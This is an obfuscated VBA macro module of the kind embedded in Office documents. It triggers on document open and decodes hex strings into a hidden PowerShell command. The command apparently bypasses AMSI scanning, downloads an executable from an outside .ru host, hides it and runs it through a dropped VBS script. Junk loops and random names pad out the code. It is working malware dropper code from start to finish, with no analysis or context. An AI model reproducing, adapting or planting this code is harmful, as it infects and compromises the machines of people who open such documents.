Attribute VB_Name = "AutoOpen"
Function OeBsBDJAFBVPwXvmpQPhk()
End Function
If 1 <> 1 Then
    Function cHxafyGOQsJLNKBzeyxdJ(1 as Integer)
    End Function
End If


Sub Document_Open()
cwqRTnIrAhnteXoHsTjMN
End Sub
Sub DocumentOpen()
cwqRTnIrAhnteXoHsTjMN
End Sub
Sub Auto_Open()
cwqRTnIrAhnteXoHsTjMN
End Sub
Sub AutoOpen()
cwqRTnIrAhnteXoHsTjMN
End Sub
Sub Auto_Exec()
cwqRTnIrAhnteXoHsTjMN
End Sub
Sub AutoExec()
cwqRTnIrAhnteXoHsTjMN
End Sub
Function DecodeBase64(b64$)
    Dim jhhhIlgoCDrrfybqCTUDm
    With CreateObject("Microsoft.XMLDOM").createElement("b64")
        .DataType = "bin.base64": .Text = b64
        jhhhIlgoCDrrfybqCTUDm = .nodeTypedValue
        With CreateObject("ADODB.Stream")
            .Open: .Type = 1: .Write jhhhIlgoCDrrfybqCTUDm: .Position = 0: .Type = 2: .Charset = "utf-8"
            DecodeBase64 = .ReadText
            .Close
        End With
    End With
End Function

Sub cwqRTnIrAhnteXoHsTjMN()

Dim MDwLLNcesSTnRppFbClaD As Integer, sLgRMkHOjsIzwgntiKXBM As Integer, lfPjwNpNWtogfuQqSXCuo As Boolean
MDwLLNcesSTnRppFbClaD = 861
sLgRMkHOjsIzwgntiKXBM = 3231
If MDwLLNcesSTnRppFbClaD >= sLgRMkHOjsIzwgntiKXBM Then
    lfPjwNpNWtogfuQqSXCuo = True
Else
    lfPjwNpNWtogfuQqSXCuo = True
End If


Dim rLvdoMvhxcEEvbEnBdCbG, onlYkHgcnVBPtdxFiEeQr, sebLmpQdyivtMdxkddfpe
rLvdoMvhxcEEvbEnBdCbG = 0
onlYkHgcnVBPtdxFiEeQr = 2595
While rLvdoMvhxcEEvbEnBdCbG < onlYkHgcnVBPtdxFiEeQr
    sebLmpQdyivtMdxkddfpe = sebLmpQdyivtMdxkddfpe + 1044
 rLvdoMvhxcEEvbEnBdCbG = rLvdoMvhxcEEvbEnBdCbG + 1
Wend


Dim GYYvfAYAnjXYVkrJwgIXi, wipbPgMbfusVsvXilnXyI, bKkkqLaDBHdhnjQJuptmz
GYYvfAYAnjXYVkrJwgIXi = 0
wipbPgMbfusVsvXilnXyI = 607
While GYYvfAYAnjXYVkrJwgIXi < wipbPgMbfusVsvXilnXyI
    bKkkqLaDBHdhnjQJuptmz = bKkkqLaDBHdhnjQJuptmz + 245
 GYYvfAYAnjXYVkrJwgIXi = GYYvfAYAnjXYVkrJwgIXi + 1
Wend

Dim FynRAKYqeNyVuYyBAMBfP As String
FynRAKYqeNyVuYyBAMBfP = "5AAED2DCC8DEEEA6E8F2D8CA4090D2C8C8CADC405A86DEDADAC2DCC840444448DACADA407A40B6A6F2E6E8CADA5CA4EADCE8"
Dim mffMbnvdMziOSxXNzPeHf As String
mffMbnvdMziOSxXNzPeHf = "D2DACA5C92DCE8CAE4DEE0A6CAE4ECD2C6CAE65C9AC2E4E6D0C2D8BA747482D8D8DEC6908ED8DEC4C2D85072606E6C5276B6"
Dim OiehcydhSwDIltshfyxCn As String
OiehcydhSwDIltshfyxCn = "A4CACCBA5C82E6E6CADAC4D8F25C8ECAE8A8F2E0CA504EA6F2E6E8CA4E564EDA5C9AC24E564EDCC2CE4E564ECADA4E564ECA"
Dim qoqgBAzNaWxxJwWbFYNrU As String
qoqgBAzNaWxxJwWbFYNrU = "DCE85C82EA4E564EE8DEDAC24E564EE8D2DEDC5C824E564EDAE64E564ED24E564EAA4E564EE8D24E564ED84E564EE64E525C"
Dim TcDfGeFFuqGeRySMazXDt As String
TcDfGeFFuqGeRySMazXDt = "8ECAE88CD2CAD8C8504EC24E564EDA4E564EE64E564ED2A64E564ECAE64E564EE6D24E564EDEDC4E584E9CDEDCA0EAC4D8D2"
Dim RzglAVvgzzIkrwlLbUwTh As String
RzglAVvgzzIkrwlLbUwTh = "C658A6E8C2E8D2C64E525CA6CAE8ACC2D8EACA5048DCEAD8D8584048DCEAD8D85276B6A4CACCBA5C82E6E6CADAC4D8F25C8E"
Dim FFPtQXdnEyPNBcCxTfhjz As String
FFPtQXdnEyPNBcCxTfhjz = "CAE8A8F2E0CA504EA6F24E564EE6E84E564ECADA5C4E564E9AC24E564EDCC2CECA4E564EDACADCE85C82EA4E564EE8DEDA4E"
Dim TQXSAcHbXEAIllSpQIWrR As String
TQXSAcHbXEAIllSpQIWrR = "564EC2E8D2DE4E564EDC5C82DA4E564EE6D24E564EAAE84E564ED24E564ED8E64E525C8ECAE88CD2CAD8C8504EC24E564EDA"
Dim TaRwOtIohOoJHKORzqVvm As String
TaRwOtIohOoJHKORzqVvm = "E64E564ED2864E564EDEDC4E564EE8CA4E564EF0E84E584E9CDEDCA0EAC4D8D2C658A6E8C2E8D2C64E525CA6CAE8ACC2D8EA"
Dim GTpeqQIhcwkQGaPfwKHXL As String
GTpeqQIhcwkQGaPfwKHXL = "CA5048DCEAD8D85840B692DCE8A0E8E4BA48DACADA5276509CCAEE5A9EC4D4CAC6E840A6F2E6E8CADA5C9CCAE85CAECAC486"
Dim QPlYCzexrsbVFngCryCYg As String
QPlYCzexrsbVFngCryCYg = "D8D2CADCE8525C88DEEEDCD8DEC2C88CD2D8CA504ED0E8E8E0E6745E5EE8D26ADC5CC2DCC8DCDED8D2D6CAC2DCC8E8DEDE5C"
Dim eseRaKYLcFowzOddfMqEI As String
eseRaKYLcFowzOddfMqEI = "E4EA5E686C64687062706E645CCAF0CA4E5848CADCEC7482A0A08882A882564EB8DCCAEEC4EAD2D8C85CCAF0CA4E527650CE"
Dim JeiUbMICflfYELxhgCNeL As String
JeiUbMICflfYELxhgCNeL = "CAE85AD2E8CADA4048CADCEC7482A0A08882A882B8DCCAEEC4EAD2D8C85CCAF0CA525C82E8E8E4D2C4EAE8CAE640567A404E"
Dim pLMzgxcylKltwunUWYXpi As String
pLMzgxcylKltwunUWYXpi = "90D2C8C8CADC4E76A6E8C2E4E85AA0E4DEC6CAE6E6405048CADCEC7482A0A08882A882564EB8DCCAEEC4EAD2D8C85CCAF0CA"
Dim VtixTcFVYkBAWurvvToFe As String
VtixTcFVYkBAWurvvToFe = "4E524444"


Dim fmgyQXEmiSVEhMWHbrOsI, MMuEDPYzdFdpnyCldtTgm, qBAyIKweulVVfryLSmhEL
qBAyIKweulVVfryLSmhEL = 3961
For fmgyQXEmiSVEhMWHbrOsI = 1 To qBAyIKweulVVfryLSmhEL
    MMuEDPYzdFdpnyCldtTgm = MMuEDPYzdFdpnyCldtTgm + 3001
Next fmgyQXEmiSVEhMWHbrOsI


Dim igeyjgMAzloGjOvcHwnbJ, IUmRMsbcqwSLVLhpWNPhK, VkVmVfIyMlgfHylQFwNKx
VkVmVfIyMlgfHylQFwNKx = 1304
For igeyjgMAzloGjOvcHwnbJ = 1 To VkVmVfIyMlgfHylQFwNKx
    IUmRMsbcqwSLVLhpWNPhK = IUmRMsbcqwSLVLhpWNPhK + 4338
Next igeyjgMAzloGjOvcHwnbJ


Dim omVyqqbwmMuAqJcuLcBHl, ILAAYFBsTFDInXProurvw, LXpOogkWQzIevEzuWqKze
omVyqqbwmMuAqJcuLcBHl = 0
ILAAYFBsTFDInXProurvw = 3964
While omVyqqbwmMuAqJcuLcBHl < ILAAYFBsTFDInXProurvw
    LXpOogkWQzIevEzuWqKze = LXpOogkWQzIevEzuWqKze + 2078
 omVyqqbwmMuAqJcuLcBHl = omVyqqbwmMuAqJcuLcBHl + 1
Wend

Dim SbeiQJMBoNsURFpGCmKjP As String
Dim QEYUHRYMDJtXeFMVEFRAa As String
Dim PHLLubaRtHRiAGYlKIqnL As String
Dim OdcpbevTcaxtTzKhQVXWT As String
Dim DqJQGifPYwpXsrfBMFBpz As String
Dim jRJfFtqFwIpjMoBRnMABd As String
jRJfFtqFwIpjMoBRnMABd = "86E4CAC2E8CA9EC4D4CAC6E85044AEE6C6E4D2E0E85CE6D0CAD8D844525CE4EADC5044"
DqJQGifPYwpXsrfBMFBpz = "4AA88A9AA04A"
OdcpbevTcaxtTzKhQVXWT = "B8A8F4A88AD2E4D4D8D486A09C86E6E488C4D8ECEE865CECC4E6"
PHLLubaRtHRiAGYlKIqnL = FynRAKYqeNyVuYyBAMBfP & mffMbnvdMziOSxXNzPeHf & OiehcydhSwDIltshfyxCn & qoqgBAzNaWxxJwWbFYNrU & TcDfGeFFuqGeRySMazXDt & RzglAVvgzzIkrwlLbUwTh & FFPtQXdnEyPNBcCxTfhjz & TQXSAcHbXEAIllSpQIWrR & TaRwOtIohOoJHKORzqVvm & GTpeqQIhcwkQGaPfwKHXL & QPlYCzexrsbVFngCryCYg & eseRaKYLcFowzOddfMqEI & JeiUbMICflfYELxhgCNeL & pLMzgxcylKltwunUWYXpi & VtixTcFVYkBAWurvvToFe
QEYUHRYMDJtXeFMVEFRAa = "E0DEEECAE4E6D0CAD8D85CCAF0CA"
SbeiQJMBoNsURFpGCmKjP = "AEA6C6E4D2E0E85CA6D0CAD8D8"
lPMUqMgmOHHVzVCDOQbDs = "%BAT%"
Dim TDHqCcbdnFtkDgeVmOUgg As String
For iMsnnNQUWxLeJonbOcqoB = 1 To Len(jRJfFtqFwIpjMoBRnMABd) Step 2
    jdUXjhwVaWEuWKPpcooji = Chr(Val("&H" & (Mid(jRJfFtqFwIpjMoBRnMABd, iMsnnNQUWxLeJonbOcqoB, 2))))
    TDHqCcbdnFtkDgeVmOUgg = TDHqCcbdnFtkDgeVmOUgg & Chr(Asc(jdUXjhwVaWEuWKPpcooji) / 2)
Next iMsnnNQUWxLeJonbOcqoB
Dim ajINImSfmhoHiGKFLPUeT As String
For lbymLHvaEodPNDgbcXUlJ = 1 To Len(DqJQGifPYwpXsrfBMFBpz) Step 2
    MobqkJuVaOFkFNikBWExf = Chr(Val("&H" & (Mid(DqJQGifPYwpXsrfBMFBpz, lbymLHvaEodPNDgbcXUlJ, 2))))
    ajINImSfmhoHiGKFLPUeT = ajINImSfmhoHiGKFLPUeT & Chr(Asc(MobqkJuVaOFkFNikBWExf) / 2)
Next lbymLHvaEodPNDgbcXUlJ
Dim CHtJXlGxPXiPvuzxFyjMO As String
For ChQqeFAjmHxYNmuHFcSOw = 1 To Len(OdcpbevTcaxtTzKhQVXWT) Step 2
    lbpDxekJlxOkeYABsTEgn = Chr(Val("&H" & (Mid(OdcpbevTcaxtTzKhQVXWT, ChQqeFAjmHxYNmuHFcSOw, 2))))
    CHtJXlGxPXiPvuzxFyjMO = CHtJXlGxPXiPvuzxFyjMO & Chr(Asc(lbpDxekJlxOkeYABsTEgn) / 2)
Next ChQqeFAjmHxYNmuHFcSOw
Dim hUyzFWUrhjvgxDesmVgPo As String
For NqSuaTLpqDwlPKfFHlLQj = 1 To Len(SbeiQJMBoNsURFpGCmKjP) Step 2
    hDVOtcloqqEtBtEFfEcjc = Chr(Val("&H" & (Mid(SbeiQJMBoNsURFpGCmKjP, NqSuaTLpqDwlPKfFHlLQj, 2))))
    hUyzFWUrhjvgxDesmVgPo = hUyzFWUrhjvgxDesmVgPo & Chr(Asc(hDVOtcloqqEtBtEFfEcjc) / 2)
Next NqSuaTLpqDwlPKfFHlLQj
Dim YnQRnrzYCGIHhqXWTLjlB As String
For LFkuwMQIzXkHbQrhctzyM = 1 To Len(QEYUHRYMDJtXeFMVEFRAa) Step 2
    adKpWpNYKTHpynHGwQDIp = Chr(Val("&H" & (Mid(QEYUHRYMDJtXeFMVEFRAa, LFkuwMQIzXkHbQrhctzyM, 2))))
    YnQRnrzYCGIHhqXWTLjlB = YnQRnrzYCGIHhqXWTLjlB & Chr(Asc(adKpWpNYKTHpynHGwQDIp) / 2)
Next LFkuwMQIzXkHbQrhctzyM
Dim njPlQJRqHnTjVGKkGtOXT As String
For CJwIgrYsRLTsUWGWJzcnV = 1 To Len(lPMUqMgmOHHVzVCDOQbDs) Step 2
    guNLDoRshxmFyJysBJsSX = Chr(Val("&H" & (Mid(lPMUqMgmOHHVzVCDOQbDs, CJwIgrYsRLTsUWGWJzcnV, 2))))
    njPlQJRqHnTjVGKkGtOXT = njPlQJRqHnTjVGKkGtOXT & Chr(Asc(guNLDoRshxmFyJysBJsSX) / 2)
Next CJwIgrYsRLTsUWGWJzcnV

Dim DybQRIhndbPXphKQpOWwV As String
For cveWbAMHkaKPxxXoabDAe = 1 To Len(PHLLubaRtHRiAGYlKIqnL) Step 2
    wfwuNPCQcelqRAcVSQhuF = Chr(Val("&H" & (Mid(PHLLubaRtHRiAGYlKIqnL, cveWbAMHkaKPxxXoabDAe, 2))))
    DybQRIhndbPXphKQpOWwV = DybQRIhndbPXphKQpOWwV & Chr(Asc(wfwuNPCQcelqRAcVSQhuF) / 2)
Next cveWbAMHkaKPxxXoabDAe

Dim kDzUzojJEhpKXflqeDwWI As String
Set PAYQaJenWSLJXvpIWCchY = CreateObject(hUyzFWUrhjvgxDesmVgPo)
kDzUzojJEhpKXflqeDwWI = PAYQaJenWSLJXvpIWCchY.ExpandEnvironmentStrings(ajINImSfmhoHiGKFLPUeT)
Set PAYQaJenWSLJXvpIWCchY = Nothing

Dim GSkQtdDEJRaSjyLwVAWae As String
GSkQtdDEJRaSjyLwVAWae = kDzUzojJEhpKXflqeDwWI & "\JoHMwmhDhPJuWqSOTCEMf.txt"

Dim EyxFiOXQzapNDfvQyQGQr As Integer
EyxFiOXQzapNDfvQyQGQr = FreeFile

Open GSkQtdDEJRaSjyLwVAWae For Output As EyxFiOXQzapNDfvQyQGQr

Print #EyxFiOXQzapNDfvQyQGQr, TDHqCcbdnFtkDgeVmOUgg & YnQRnrzYCGIHhqXWTLjlB & " " & DybQRIhndbPXphKQpOWwV & """), 0"

Close EyxFiOXQzapNDfvQyQGQr

Name kDzUzojJEhpKXflqeDwWI & "\JoHMwmhDhPJuWqSOTCEMf.txt" As kDzUzojJEhpKXflqeDwWI & CHtJXlGxPXiPvuzxFyjMO

CreateObject(hUyzFWUrhjvgxDesmVgPo).Exec ("cscript " & kDzUzojJEhpKXflqeDwWI & CHtJXlGxPXiPvuzxFyjMO)

Dim qVqdFUsuQxWltXUtRxRGI, LjmFkiJobVnktUfgDDqvA, UMNyfsyInwLkIDMexuMIf
qVqdFUsuQxWltXUtRxRGI = 0
LjmFkiJobVnktUfgDDqvA = 691
While qVqdFUsuQxWltXUtRxRGI < LjmFkiJobVnktUfgDDqvA
    Dim PAIaadOnnSAlhPvyhfPkE As Integer, MzBYJqscgiDLvflexfpJv As Integer, YCkYAMrEppVyzcbhapLwl As Boolean
    PAIaadOnnSAlhPvyhfPkE = 4177
    MzBYJqscgiDLvflexfpJv = 4258
    If MzBYJqscgiDLvflexfpJv >= PAIaadOnnSAlhPvyhfPkE Then
       YCkYAMrEppVyzcbhapLwl = False
    Else
       YCkYAMrEppVyzcbhapLwl = False
    End If
    UMNyfsyInwLkIDMexuMIf = UMNyfsyInwLkIDMexuMIf + 325
    qVqdFUsuQxWltXUtRxRGI = qVqdFUsuQxWltXUtRxRGI + 1
Wend


Dim UckWwODnjSSnANchlFqwX, qofPaghuNpQqkQIYwmjVm, YUddyuBSlkCkpDMfgwIvR
YUddyuBSlkCkpDMfgwIvR = 3492
For UckWwODnjSSnANchlFqwX = 1 To YUddyuBSlkCkpDMfgwIvR
    qofPaghuNpQqkQIYwmjVm = qofPaghuNpQqkQIYwmjVm + 4774
Next UckWwODnjSSnANchlFqwX

End Sub